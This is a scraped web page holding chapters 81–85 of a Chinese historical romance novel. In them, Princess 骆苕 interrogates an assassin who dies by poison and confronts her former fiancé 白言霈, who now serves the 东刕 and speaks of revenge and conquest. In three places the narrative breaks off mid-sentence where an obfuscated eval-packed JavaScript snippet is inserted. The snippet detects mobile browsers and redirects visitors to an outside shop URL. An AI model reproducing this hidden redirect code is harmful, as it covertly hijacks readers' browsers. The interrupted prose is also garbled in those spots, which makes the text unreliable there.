韩悟收集了那么多世家豪强侵占田亩细农的罪证,和一些更为隐晦腌臜账簿,离寺还俗之前可有销毁干净,骆苕现在也不得而知了。但韩悟手握账簿的事,肯定早已被人暗中盯上。 那人也知道骆苕和韩悟有联系。 可若有人想利用那些账簿,鼓动世家豪族搅乱时局,直接将世家豪强侵占田亩细农的账簿,还有那些腌臜账簿公诸于世便可达到目的,大可不必杀了韩悟警示骆苕多此一举。 杀韩悟在骆苕面前,如此行径更像一桩私仇。 私仇总比搅乱时局容易让人接受,骆苕咽了咽喉咙,沉沉说:“好生安葬悟德。” 葛七和肖绩二人同声应下,又听见骆苕镇定道,“带我去见凶犯。” 一旁的申怡深知骆苕今日必定要见凶犯,开口支开葛七和肖绩:“你们先去用饭,我和殿下去换身衣裳。” 葛七和肖绩对视一眼,躬身退去。 骆苕在院中踱步。 她这三日都宿在清雅苑,凶犯竟然能避开玄雀卫的耳目,摸准她的行踪实施行凶。 她也被盯上了。 申怡取来幂篱和狐氅,很是担忧,郑重道:“殿下,清雅苑应当加派人手,严加巡防。” 骆苕将手炉递给申怡,自己解下斗篷换好狐氅,说:“你不说,葛七也会向凌晖禀报,还会加强都城安防。” 年关将至,东刕部族派出求学使者入京求学,还有一部分入京避寒,酒肉消遣,人数达千人之多热闹非凡,凌晖借此机会再加强京都城安防也在常理。 申怡没再说话,稍稍等候,几人便出清雅苑前往廷尉地牢。 地牢刑房到底不同于骆苕囚过的普通牢房,入眼满是暗沉深沉。 凶犯垂着头颅瘫在胸前,双臂张开被铁索悬挂在半空,脚尖踮在地面,只有这样触及地面,才能减轻重量,释放臂膀的些许负担。 骆苕进来前,凶犯已经被清理过脸面,还换了一身玄黑色粗布长衫掩盖身上的残缺血肉。 申怡提气问询,声音幽荡在地牢:“是谁指使你行凶?” 半晌过后,只见凶犯缓缓抬起头颅,看过一眼复垂下头颅,他聚气于胸,说:“把幂篱摘了。” 骆苕透过墨黑垂纱看清了凶犯,凶犯脸颊瘦削,平凡陌生的眉眼裹挟着无所畏惧,与想象中人高马大的凶犯模样截然不同。 “大胆狂徒,死到临头还嘴硬!” 一旁的肖绩钳着眉不容分说,舀起卤水从凶犯的脖颈开始灌了进去,申怡制止时肖绩已经将一瓢卤水全部灌完。 凶犯咬牙发出打颤的呜鸣声。 与此同时,骆苕顺从地摘下幂篱交给申怡,声色温温:“你可认识本宫?” 呜鸣声猝然停歇。 “不认识。”凶犯腌疼得连头都抬不起来,“可我的……主人认识你。” 骆苕轻声缓道:“想必你的主人,有话让你带给本宫。” 凶犯目光上抬,汇聚在骆苕的脸上,稍作停顿移去申怡、葛七,看过一圈最后停在肖绩寒若冰霜的脸上,轻慢一笑:“我的主人,让我带话给长公主,寒门成不了气候,劝你不要再费心思在寒门身上,白做一场梦。” 骆苕沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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葛七察觉这面的异样,一个箭步飞速奔来,掐住凶犯的咽喉,使劲拍着凶犯的脸颊,最后他道:“死了。”撬开凶犯紧闭的嘴巴,在舌根找寻到裹毒药的残衣。 骆苕使劲吸气,对葛七道:“告诉大冢宰,当心世家有所异动。” 心绪太过紊乱,当初放走白幼黎,白幼黎如今在何处? 白幼黎竟然派人杀了韩悟,来给予自己什么警示? 白幼黎并不知道韩悟和自己有所联系,知道的人是白言霈。 骆苕断定白言霈还活着,并且白言霈和白幼黎已经会面。 葛七领命,听见骆苕又吩咐:“你去香芜院,将凶犯留给本宫的礼带回来。” 申怡扶住异样的骆苕,朝外而去,入了马车,申怡才放开摇摇欲坠的人,黑暗之中摘掉幂篱,将马车内的手炉送入如寒冰一般的身前说:“殿下,凡事不可独自神伤,尽量说出来,使女兴许可以替您解忧。” 骆苕嗯了一声,缓声道:“回去再说。” 回清雅苑,静静地等来了葛七从香芜院带回来的锦盒,骆苕当着葛七的面打开锦盒。 待看清锦盒内是何物时,骆苕压住面上的惊愕,命葛七退去。 她执起锦盒中的一簇碧绿翠玉夜息香,心尖刺痛霎时更加繁乱,一眼能瞧出,雕工造诣出自白言霈之手。 而夜息香,在骆苕心中是代表凌文袤。 如此隐晦的事,白言霈是如何知晓的? 82. 第八十二章 改名《杳杳华昭》 晋江/2024.08.12 在写在写,卡文中理顺中,尽量不修文,写了这么多贴这么多,写完再补。 骆苕头痛欲裂,将碧玉夜息香放回锦盒,伸手揉向脑袋两侧发胀的太阳穴,直言不讳:“今日之事是白幼黎兄妹所为。”说完仿佛被抽干全身的精气,木讷起身往卧房里去。 桩桩件件发生的,从来不会按照所思所想推展,谁也奈何不了谁。 “白言霈……”申怡被定在了原定,想起几月前白幼黎从雁鸣山下山入公主府,和骆苕在深堂里屋相谈,那次凌文袤也在。 凌文袤放过了白幼黎。 她瞥了一眼翠玉夜息香,揣度到和凌文袤有关,再看到骆苕神疲体乏的模样,快速定下心神收好锦盒,正欲入内伺候骆苕,却见骆苕折返出来,惶恐着朝外奔去:“去找葛七。” “殿下,使女去唤。”申怡跟在身侧见骆苕奔的很快,等穿过内院出游廊,直接亮嗓,“葛七何在?” 外院的葛七正在和玄雀卫交待事宜,听见呼声下意识握上刀柄拔腿入内,接应:“葛七在!” 骆苕见飞奔而来的葛七收脚停住,都未来得及喘上一口,急问:“凌五郎现在在哪,可否传信于他?” 这些日子只有凌文袤传来平安信,骆苕从未给他写过信,她要提醒他人身安危,白幼黎和白言霈如此行为,令骆苕惧怕。 葛七怔愣一刹,回道:“此次任用三位巡抚使出京巡抚各地重要县镇,凌五郎隐匿行踪,所以卑职不知凌五郎如今具体在哪。” 传来的平安信也从未准时固定,有时隔两日,有时隔三日。 回想到今日凶犯,葛七眼眸蓦地一敛,“长公主是否得知一些内情,知道有人对凌五郎欲将行刺?” 凶犯吞毒自尽之前的那番话,全指向世家的威胁,这是葛七的猜测,至于从香芜院取回的那株翠玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127958|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草,他瞧骆苕神色寻常,也未多加妄猜,只下命让玄雀卫提起十二分精神来。 听闻连葛七都不知道凌文袤行踪,骆苕努力告诫自己千万不能自乱阵脚,引起不必要的慌乱,方才猝然担心凌文袤的安危让她方寸大乱,此时只想快快收尾。 她摇头:“世家若要行刺,怎么会事先提醒旁人,今日之事最多算一个警告。本宫受过惊吓,只想给凌五郎去信报个平安。”无缘无故报平安,反而像欲盖弥彰,实在说不下去,便扶上头颅颦蹙眉心,转而喊了一声,“头疼。” 葛七因自己的失职心下大骇,面色惊恐,不由伸手想去扶人:“长公主殿下,卑职去寻疾医再给您瞧瞧。” 申怡率先扶过骆苕冷静地对葛七说:“殿下需要歇息,你下去罢,好好看护清雅苑。”又道,“下回凌五郎来信,尽快呈过来。” 葛七应是收去手臂,在寒风中瞧着人慢慢走远拐进屟廊,这才大大地松了一口气。 83. 第八十三章 不知自己是如何走出的正堂,骆苕只觉头重脚轻天旋地转,心直直下坠,迎面撞翻了婢女手中的托盘,丁铃当啷打落一地。 “婢子该死,婢子该死,冲撞了长公主殿下!” 躲避不及的婢女惊慌地跪伏在地,连连求饶,婢女平日里见着长公主都是轻步缓带,今日长公主见着东刕人后,也不知为何会如此失了仪态。 紧跟出来的申怡扶上骆苕,压声斥责瑟瑟发抖的婢女退下,转而焦急地问向脸色煞白的骆苕:“殿下可是身子不适?如若身子不适使女去打发了他们,让他们改日再来,这些蛮人说来便来,事先连个拜帖也不递,好歹是东刕有头有脸的人物。” 适才申怡正指使婢女看茶,不过转瞬,竟不知发生了什么,跟随骆苕出来之前看了契勒一眼,契勒看向申怡,眼中的笑意很耐人寻味。 骆苕五脏六腑一缩再缩,明明只想见一见白言霈,真见着了却又想着要逃避,猝不及防的重逢让她措手不及。 “申怡。”骆苕停滞着捡起满腔的惊诧,摇头轻道:“白言霈……白言霈在正堂,他依附东刕跟随了契勒。” 骆苕原本猜想白言霈和白幼黎相遇之后会去往南峪,毕竟南峪人文荟萃,他也曾踏足过。经昨日一事,便猜想他们还隐匿在京都城。 万万不曾想他们会入东刕寻求庇佑。 申怡瞳仁一缩双唇嗡动愣住好半晌,脑中盘旋着只有一个念头,奈何不了白言霈。 契勒的随从着东刕异服,方才她没仔细瞧各人的脸貌。可认出了又能如何,如今白言霈投靠东刕,必定已经说服东刕保他性命,才堂而皇之地来清雅苑。 不过长痛不如短痛,既然这么快现了身,总好过在背地里藏奸使诈。 看向骆苕抓住她手腕没有半分松懈的手,当即拿定主意:“使女先去替殿下打发了他们,如此情形,殿下神思受阻,不必勉强自己接见他们,明日再见亦不迟。白言霈已经依附东刕,有东刕庇佑,他必定性命无虞,殿下勿需担忧。” 说完,申怡转身将要入内,骆苕却拽住人,深提一口凉气,抬起螓首,说:“无碍,我能应付。”回过身,望了一眼地面上的溅洒的茶水印记,松开攥握的手腕,徐步入内。 这是她应该面对的。 踏入正堂,堂内座上等候的东刕客人齐齐朝这面望来,等骆苕落了座,契勒佯装谦和难为情:“还请长公主见谅,今日我们来的匆忙唐突的很,一定是惊扰了尊府。可我们有重要的事请长公主帮忙,还请长公主海涵啊。”他知道白言霈和骆苕的关系,但是看到骆苕惊惶的样子,猜测到骆苕已经认出白言霈,可那两人却不敢戳破,觉得大王子加木将白言霈收做帐中客,真是明智之举。 骆苕没看契勒,觑见身侧无人,察觉申怡没有随她入内,眉心微不可查地轻蹙,定下一瞬,回望契勒,莞尔道:“宁华闲居清雅苑穷极无聊,契勒执事又从东刕再次远道而来,是我们大嵘最尊贵的客人,宁华理应主动出苑相迎当尽宾主之谊,奈何礼数不周让众人等候多时,还望契勒执事见谅海涵才是。” 也不知自己为何会讲如此无用的客套废话,掐断杂念,说,“既有要事,契勒执事但说无妨,倘若宁华能帮的上,乃是荣幸。” 话音方落,骆苕将视线不着痕迹地移去左侧,越过东刕人相似的面孔,迎上白言霈一如既往轻柔如水的目光。 纵使心脏紧得一直在发颤,但挺直的脊背没让她退缩,她该庆幸今日穿的是厚重氅衣,簪的是素簪,若是轻衣步摇,想必会事先出卖不安的自己。 在对视中,她乱去几分。 白言霈收回视线,缓缓垂下眼眸,这么多年,他的昭昭在他面前依然不会掩藏好心绪,她实在惊慌。 “这忙宁华长公主一定帮得上。” 契勒春风满面看了看自己身后的随从,使劲挥了挥长臂招呼随从起身,畅怀一笑,“大王子和安乐公主大婚,宁华长公主为其准备的礼单,大王子让我转告长公主,他们十分喜爱,前往东刕的两位医师为可敦诊治过后,竟治好了可敦多年的胸闷背痛,真是了不得。大嵘的医师医术高超,我们人人敬佩,这次我带了几位部下来大嵘,是想托付长公主,为他们安排几位医师好好诊治身上的疑症。” 拉过旁边的一个随从,指了指他的脸面说,“无缘无故眼酸腿疼,我们的医师诊治过千遍万遍也不见好转,这次来大嵘就把他们带来让大嵘的医师好好治治。” “多谢长公主。” “多谢长公主。” 东刕人齐齐叩胸附和契勒,道谢声此起彼伏,唯有白言霈一动不动安坐在软席上。 骆苕还没应下,东刕人便先斩后奏地道起谢来,真是无法无天。 骆苕拢好衣袖起身,看见申怡匆匆归来,沉了片刻对契勒说:“宁华尽快找几位医师,让他们前去诊治。” 那份天官府准备的礼单,只是借由骆苕的名号送给安乐公主和加木,医师也是东刕人讨要过去的。今日在场这一众东刕人,瞧着应该官位不高,也不知居住在城中还是都城周边的北闾里,骆苕只能先行应下,之后再禀报给凌晖让凌晖去找医师。 喜眉笑眼的契勒却说:“多谢宁华长公主,今日这几位就交托给您了,我看这清雅苑就十分宽敞,再多的人也能容的下。” 东刕人就此自行决断,真是厚颜无耻。 “放肆!” 面对积习难改的蛮人,申怡向前几步,站在契勒的茶案前轻笑两声,目光扫过纹丝不动的白言霈,“都说客随主便,契勒执事是一点规矩也不想讲呢,官府想必已经为你们安排了舒适的住所,长公主也答应了为你们找医师前去诊治,希望你们不要贪心不足。清雅苑不便留你们。” 见骆苕没出声,契勒仰天豪爽大笑,也不在意申怡的斥责,继续佯装言无形状:“我就喜欢像你这样有话直说的脾气和那股子劲,像我们草原上的女人,人美嘴快。”旋即招呼东刕人入座,“那只能劳烦医师跑远一些,去北闾里给他们诊治。” 骆苕还是垂眸在地。 今日的契勒,和前次跟随加木入京都城接亲时候的克制行止大相径庭,没有加木的管束,便直接露出了本性?再则他带来需要医治的部下,用双眼根本瞧不出病症。 申怡乍听轻佻言语依旧镇定,她说:“契勒执事,我们已经为你们备下了好酒好菜,请你们别辜负了清雅苑的盛情款待。”就此退去,看了堂口的葛七一眼,葛七朝她点了点头。 “那我们就客随主便留下来,尝一尝清雅苑的佳肴。”身后的契勒懒洋洋地斜倚在软席上打量着离开的窈窕背影,顺水推舟,“正好,宁华长公主可以和多年不见的好友白砚疏先生,好好叙说一番。” 契勒说得轻松又狂妄,申怡脚下一顿扭身望向堂内看戏似的东刕人,心中愤懑呼之欲出。 只见白言霈慢慢起身,理好袍裾正正地朝骆苕而去,躬身揖礼。 骆苕五指紧攥,望着一直躬身却不说话的白言霈,终于开口:“砚疏,不必多礼。” 语音杳杳没有惊慌,也没有从前那般的娇俏,平淡如水,一如他适才看她时的目光。 砚疏,不必多礼。 这是从前骆苕对白言霈说过最多的话,也是重逢后的第一句话。 眼前人未收 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面对东刕贪得无厌的请求,申怡动了动唇想说些什么,最终还是忍下,将视线移往堂口。 “敝人还有一件私事,想请宁华长公主从中斡旋。”白言霈诚恳地再次揖礼,垂着的头颅戴着毡帽,和拱手作揖的手臂持平成一条线。 骆苕缓缓眨眼,莫名的烦躁,他完全可以拿出昨日差凶犯杀韩悟那样的气势对她,那样她反而更容易接受。 “既是私事,为何不能私底下说?”骆苕讨厌这样莫名其妙的站立,让旁人随意观瞻揣度。 白言霈姿势未改:“此事于敝人而言是为私,但于宁华长公主而言是为公。” “那你可以直言不讳地说出来。”骆苕终于动了怒,“你知道我会答应你,纵然办不到,我也会答应你,为何要这般恭敬地做着虚情假意的礼数!什么公和私,在我身上你还要分的这么清?” 她的脑袋终于支撑不住的混沌了。 满堂的目光全部落在这一对璧人身上,只见白言霈再次站直身体,就那样隔着适当的距离对视上,望着那双泛红的双眼,他咽喉微滑,说:“请长公主为敝人向你们的皇帝求个情,允准敝人为祖父殓尸安葬。” 骆苕阖上眼,迫使自己镇定。 白明绪六族被夷,事后骆苕已经全部将他们安葬,唯独白明绪的尸骸还压在封荫塔下,若不改朝换代,那个塔无人敢动,即便改朝换代,埋在塔下的人被人遗忘,也没人会去动。 封荫,封荫,这座塔便是为讥嘲设立。 骆苕睁开眼,只说:“给我些时日。” 白言霈拱手退去。 这时婢女鱼贯而入,传盏布菜,骆苕就那样呆呆地站着,席下嗡嗡地杂音叩击耳膜,忽闻外间有铠甲摩挲的清脆声响,扭头看去,只见巡防兵大列大列地进入正堂。 契勒眯起眼睛,问向骆苕:“长公主这是什么意思啊?吃个宴席还让人扫兴。”起了身,朝身后大臂一挥,“咱们走,换个地方吃酒去。” 申怡替不明就里的骆苕回道:“契勒执事请海涵,白言霈乃大嵘逃犯,官兵是我请来捉拿逃犯的,与长公主无关。” 白言霈猝然而至,申怡不想骆苕不清不楚地被人算计,就算要保白言霈,如今应该是东刕出面光明正大地去保,勿需骆苕插手。 从堂外拐进来的千狮卫统领贺兰融,向堂内一瞭,满眼都是熟人,在看到白言霈后还是愣了愣。 他朝骆苕拱手:“长公主,卑职奉命而来缉拿逃犯。” 凌晖命他速速入清雅苑缉拿逃犯,把这么棘手的事交给他,一点新意都没有。 84. 第八十四章 缉拿白言霈的场面不小,但没有剑拔弩张。 被贺兰融直接忽视的契勒并未阻止贺兰融前来拿人,盯着兵卫铮亮的铠甲,不咸不淡给贺兰融撂话:“贺兰统领,东刕大汗交代,白砚疏先生乃是我们东刕臣属,这次来大嵘是为了了断一些前尘旧怨,等我们回东刕的时候,你们把白砚疏先生完好无损地交给我们就可以了,实在不必动用这么大的阵仗。” 转而叮嘱白言霈,“白砚疏先生,那就委屈你先跟他们走一趟,我想大嵘的皇帝这点容人之量还是有的。” 白言霈默声朝契勒叩胸躬身,一众东刕人撩着衣袍齐齐出正堂。 “契勒执事,慢走。”贺兰融也懒得多费唇舌,侧了个身,看着契勒领着一帮东刕人擦身而过退去。 骆苕示意申怡前去送客。 堂内鸦雀无声,宴席上飘过的酒肉香倒让贺兰融讪笑一声,心中暗忖,这么好的东西喂豺狼,豺狼竟然头也不回地走了,真是吃饱了撑着。 看向异服的白言霈,沉了沉声,问候:“白公子,许久不见。”一路看着骆苕和白言霈结缘再生离,一晃都快十年了,十年光阴稍纵即逝,可真快。 比话还要沉的莫过于难以启齿的前尘往事,同为忠心事主的人,论惨谁也比不过白明绪一族。 当年被骆苕送走的白言霈,如今毅然回来出现在骆苕面前,早已物是人非,注定还是结不了果。 白言霈缓缓踱步过来,浅回一声:“贺兰兄,好久不见。”声色如旧,不掺杂悲喜,只是附加了几分淡泊。 贺兰融打量着白言霈一身的东刕衣袍,坦然一笑,转向骆苕直呼凌晖的名讳,轻松说道:“凌晖特地命卑职从西市来清雅苑缉拿逃犯,也就他能干得出来。他知道卑职是个什么脾性,只要长公主给句话不得拘捕,卑职这就回去复命,反正契勒也给凌晖留了话,卑职只用动动嘴皮子原封不动地复述一遍,他也只能乖乖放人。” 已然有东刕作保,缉拿白言霈最后还是得放,结果都一样,倒不如就此放人,省的麻烦累赘。 “不妥。凌晖特意差你来,你听命便是。”久未出声的骆苕,心思早已辗转几许,知道凌晖差贺兰融来拿白言霈的真正用意,重点不在已无威胁的白言霈,而是在考验贺兰融是否会按命行事。 贺兰融一直担着都城宿卫的虚名,凌晖不重用他也不撤他的职。不撤他的职,有一半是给李愈大将军面子,如今京畿十二卫正在整顿,裁撤一个不听君令的贺兰融,合乎情理。 她又直直地看向白言霈轻言轻语,飘飘摇摇,“给我半个时辰叙话,之后你将砚疏带回去交给凌晖。”心中告诫过千百遍的镇定,在出口的那一刻还是乏力虚散了。 贺兰融吁气,领悟了骆苕的言外之意,双眉一舒:“明白了。”随即领着众卫兵撤离正堂。 锵锵铠甲摩挲声渐渐消退而去,婢女们也没再敢往正堂靠,骆苕眼风里的玄雀卫却还在值守。 “葛七。”她提声下命,“你们也退下,让申怡入内伺候。” 在葛七的迟疑中她安然道,“还不快退下?凌五郎本宫会和他亲自交代。” 面对如此直接的命令,葛七咬咬牙,只能招呼人退去,他的主要职责是保证骆苕的安危,并非监视骆苕。 骆苕在旁侧闲置的茶案前落了座,伫立在不远处的白言霈徐步过来在她对案坐下,摘下毡帽搁在一旁,他随意理了理头颅上露出整洁的发辫后,双掌安置在了身前的双腿之上。 二人就那样不声不响地安坐,直至申怡回来,骆苕才打破寂静空旷的正堂:“上茶。” 白言霈忽略申怡投来的复杂审视目光,对骆苕说:“昨日惊扰长公主并非我本意,请长公主将它忘了,日后必定不再发生。” 骆苕双睫微微颤抖,他承认韩悟确实是死在他的手上,时下又让她忘记所发生的那些事,真是荒唐至极。在知道是白言霈所为后,骆苕缓了一宿,一宿过后骆苕也已经接受,现在又告诉她并非是他的本意。 抬眼看向不真实有些摇曳的脸庞,最后望着那双洞悉一切的眼眸,说:“好,我会忘了它。”不再质疑不再追问,他说什么便是什么,他太懂她了,她所想所思都会让他猜到,也会解释给她听。 白言霈的目光一直落在她精巧的耳垂上,注视良久,果真像从前那样开口解释:“是幼黎……幼黎近年神情一直恍惚不定,时好时坏,故而才会对长公主做出过分之举。夜息香……”忽然顿在了这三个字上,片刻后说,“是幼黎让我所雕,我并不知它的用途和渊源。” 骆苕因白幼黎一怔,白幼黎曾警告过骆苕,纵然白言霈此生都不愿再见骆苕,骆苕也应当为白言霈终守一生。 “韩悟留不得,他手中握有大嵘世家勋贵家眷在寺宇中幽会私通的证据,并以证据为要挟,逐一讹诈家眷,若是家眷不从,扬言散布天下。我怕他牵连到你,让世家怀疑韩悟是受你指使,因而危及你的性命,所以待时机成熟后遣人除掉韩悟,不曾想幼黎会那样偏执,命杀手杀韩悟惊扰你的车驾。” 骆苕脑子“轰”地瞬间混乱,未料韩悟之死和惊扰车驾的缘由会是如此不堪,心中一滞:“你为何对韩悟的行径如此清楚?” 白言霈坦言:“他曾联络到加木,是加木命我接见的韩悟,韩悟意图借用外族之手,揭大嵘世家勋贵的丑闻,引起骚乱。韩悟错就错在太过自大狂妄,正值两国邦交之期,这种丑闻东刕怎会去插手,东刕佯装答应韩悟,便把此事交于我处置。” 骆苕哑声沉默。 申怡上好茶退去,骆苕木讷地像从前一样斟茶,低低相问:“加木为何如此重用你?” “利。”白言霈眼波一顿,平和道,“外族重利,我可以为东刕谋求更多切实的利。” 骆苕方寸之地紧绞在一起,再次静默不语。 若是谋求国利,最终都是征伐天下,正因为加木与一贯的东刕人大不相同,又重用白言霈,才让骆苕有此浮想,白言霈也必将诚心辅佐加木。 白言霈修长纤瘦的五指紧握杯盏,没有血色的掌背青筋清晰地映入骆苕的眼帘,他看穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211783|123112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的心思,说:“天下会落入谁人之手,都不是你们能左右。我乃谋臣,当尽谋臣之责。” 他说的这些不可否认,既投靠了东刕,当尽谋臣之责。骆苕心间迷离,沉默着端盏请茶,听见白言霈又说:“昭昭,成事不说,遂事不谏,既往不咎。你并未亏欠我什么,从前的那些事也该放下了。” 着重重复,“你并未亏欠我什么。” “于私,砚疏此生唯有三件要事,其一安葬祖父,其二看顾好幼黎。” 迟迟未等来其三,被唤了小字的骆苕呡入一口清茶,望向白言霈,目光正正对上,他才沉沉说道:“其三,我一直想带你离开大嵘。” 骆苕手中的清茶一晃,在这一刹仿佛回到了从前,从前的他总这样眉眼含情,衔着薄笑在她身旁守候,习字、抚琴、阅书时处处都是耐心的陪伴。 久违的思绪跟着漫上来,鼻尖霎时发酸,但已经不可能了,她摇头清醒的告诉他:“你明知我离不开,也不可能去东刕。若能离开,五年前你便不会独自跳入汎河不告而别。如今时过境迁你我安好,昭昭此生足矣。” “五年前我自顾不暇,不能连累你,如今不一样,只要你愿意,我有法子让你悄无声息地离开。东刕天高云阔,自由自在有何不好?” 骆苕说:“我还有母后。” 突然之间她觉得很疲倦越发低落,她只是想见一见他就好,昨日结下的谜团现在已经解开,往后也会各自为谋,他们之间早已容不下过多的情爱。 答应他安葬他的祖父白明绪,她和他也该就此结束。 白言霈敛笑,眸中还残留着几分辨不明的情意,缓缓起身,想要牵过她的手却被她避开,攥紧五指,他呵护大的昭昭竟在这一刻避开了他,那些经年累积的怨恨也在此刻找到了出口,他冷言冷语:“凌文袤是个轻信他人的莽夫,他配不上你。” 凌文袤轻信他人?骆苕心中一震,还是觉得凌文袤会有危险,蓦地仰头望上去:“什么意思?” 白言霈从她眼里看到了惊恐和担忧,丝丝幽怨化作苦笑:“只是浅做试探,原来你如此在意他。”多年如兄长般的呵护,竟抵不过几月的苟且。 她敬羡的年少相许,相敬如宾,原来可以不费吹灰之力直接舍弃,什么落发为尼,全是他自作多情。 骆苕胸腔起伏,心脏怦然直跳,咽喉发涩,从白言霈眼眸中泄露出来的,是她从来没见过的狠厉。 “砚疏,是我负了你也配不上你。”骆苕咽了咽空喉,“凌文袤也不会是我的良人。” 高矮对视的二人就那样凝结在茶案前。 白言霈在骆苕没有逃避的对视中,将一腔刚刚开了口子的怨恨压回心底,轻道:“幼黎说得没错,我不该对你用情至深。” 用情至深,骆苕仿佛记起凌文袤也将这个措辞用在凌承佐身上。 “是。”她起身背对着白言霈,绷直的脊背透出坚定,“我不值得你对我用情至深。” 伶仃残生是她最好的结局,她不属于任何人,只属于大嵘。 85. 第八十五章 她的白言霈终是变了,他的昭昭也会长大,都各自怀揣心思。 骆苕知道白言霈在某些时候在欺骗自己。 譬如,他若真想看护好神情恍惚的白幼黎,应当让她远离恩怨,不可再附加仇恨,作为疼爱妹妹的兄长,派凶手刺杀韩悟这样的事怎么会轮到白幼黎来实施。 从前的他根本不会让白幼黎染指这些。 骆苕还记得地牢里凶犯吞毒就死前的警告和诡异笑容,培植那样一位冷血凶犯的主人,不可能是和白言霈才会面不久的白幼黎,培植凶手的人,或是东刕人亦或是白言霈,但白幼黎却可以调遣下达命令。 预示白言霈默许白幼黎一切的行动,惊扰长公主车架或许也是他的默许。 一直没有放下过去的不只白幼黎,白言霈更是,白氏六族之仇,岂能轻描淡写地放下。 骆苕和凌氏,在他眼里是合谋的共犯。 清醒的骆苕就那样静静地站着,红了眼眶,一直绞紧的心此刻碎碎的,碎成琉璃渣流窜在血脉,身躯是热的四肢却很凉。 哭什么呢,这本就是自己该承受的,昨夜见到那簇夜息香之后她便已经接受是他所为。伸手抹了一把泪,黏黏的泪水已经沾满脸颊。她给东刕加木留了线,东刕却给她送来了白言霈,不过是相互试探利用而已。 今日初见白言霈,她觉得自己什么都会答应他,不过尔尔的简短对话中,不知从哪一句之后本能地开始保留自我了。 欺骗来的太快,马脚也漏的太快,只要保持理智心有防备不被表象迷惑,很容易拆穿。 他一直在试探她,试探她是否会和他一起推翻凌氏,虽然他像放下一切似得只字未提与凌氏的仇怨。 “昭昭,别哭。” 身后传来的声音脉脉含情带着怜爱,骆苕心还是碎的,听他的声音也是碎的,鼻子一吸非常懂事地嗯了一声,问:“护送幼黎前往咏竹居的那纵人马一直未回京复命,砚疏,你知道他们在哪吗?” 沉默许久之后,身后的人毫无兴致地说:“不清楚。” 好像白言霈也开始厌倦这样的虚伪表象,他知道骆苕不会随他离开,他只是希望骆苕和从前一样能跟他坚定地站在一起。这天下落在谁人之手都已无所谓,唯独凌氏除外,可偏偏骆苕已经依附凌氏。虽然他没有出口相问,但直觉已经给了他唯一不想要的真实答案。 二人再次陷入无限的沉默。 说好的半个时辰,才过去一半,骆苕却已经想抽离:“砚疏,你走罢。现在你受东刕庇护,凌晖暂时不会对你如何,安葬你祖父的尸身,我会尽快办到。” 原本她也会去办,只是时候未到,朝代更迭之后,谁也不会在意骆氏和白氏,一座封荫塔下的人谁又会去在意,待到那时再去将骆氏立国之初所建的封荫塔拆除,大抵最合适。 看来现在要加速进程。 骆苕的肩头被突然搭上来的重量惊了一跳,侧头看着白言霈修直瘦削的手掌,手掌若隐若现掩陷在雪貂领后面。 “生辰快到了,可有想要的礼物?” 一如回到从前,白言霈记着这个日子,多年后的再次温煦相问令骆苕因噎在喉。 十一岁便指定了驸马都尉,一个孩童,临近生辰时的欢腾心思藏也藏不住,骆苕总有自己的主意,会事先提醒白言霈每年当送的礼,她想要什么他便送什么,如此便会省去许多不必要的尴尬麻烦,又免得不合心意。 毕竟那时的白言霈正值舞象之年,好歹是个成年男子,他未来的公主妻子却尚未成年,这礼物根本不好送,当她是小孩便是糊弄,当她是妻子便显得轻浮,所以骆苕代他花了心思。 骆奂病逝之后,骆苕便不再过生辰了。 她的生辰在腊月初八,也是腊八节那日。出生时的八字不好,道她命运多舛,姻缘不顺,那时她的父亲骆炜诠,花重金请上紫真人扭转过运势,如今看来运势未改,反倒还是句句应验。 她摇了摇头,回正脑袋,尽量轻闲着说:“想要的礼你都已经送过,日日过得安稳,何须生辰礼。” 从前宁华长公主每年的生辰宫宴,轰轰烈烈,把余生的热闹一并热闹了,并没有缺憾,而那些虚礼,每逢过节,同样也已经送过,更没有缺憾。 又沉了半晌,只觉身后的人往她耳边俯身,她想躲时被肩上的手掌按下,轻声唤住:“昭昭。”他说,“我可以借用东刕之手,帮你把圻国拿下,当做你的生辰礼物。” 骆苕浑然一楞,僵直地懵住,听见他在耳畔轻轻续说,声音低到有些模糊:“你不信任我,不过这份生辰礼我还是想主动送给你,到时你再跟我走,如何?” 骆苕被白言霈的话封印住一动不动,颈侧和额角的脉搏却在汹涌,她也不知自己是如何出声的:“东刕并不想大嵘和圻国相互吞并。” 如今这样的局面是东刕最希望看见的,大嵘和圻国相互对峙,东刕从中得利最多,一旦大嵘和圻国合二为一,将会是东刕的威胁。 “你说的没错,不过事在人为。”白言霈说,“东刕看似强大,实则内部散乱,各部心思不一,东刕大汗安于现状早已过上偷福享乐的日子,依我看来一时难成大势。加木想要夺取大汗之位想必还需要些时日,我帮你离间东刕内部,让凌氏心无旁骛地讨伐圻国。” 他将加木想夺取大汗之位的事就这样直白地说了出来,骆苕猝不及防,再则离间东刕内部于凌氏有利,他怎么会愿意帮助凌氏巩固皇权,缓过一瞬,转身面对白言霈,定定地看着他:“砚疏,你并不想凌氏掌权。” “自然。”白言霈眉心颦蹙,应得很果决,“我只想借凌氏之手,帮你夺取圻国,至于凌氏能否坐稳江山,便要看他的本事。” 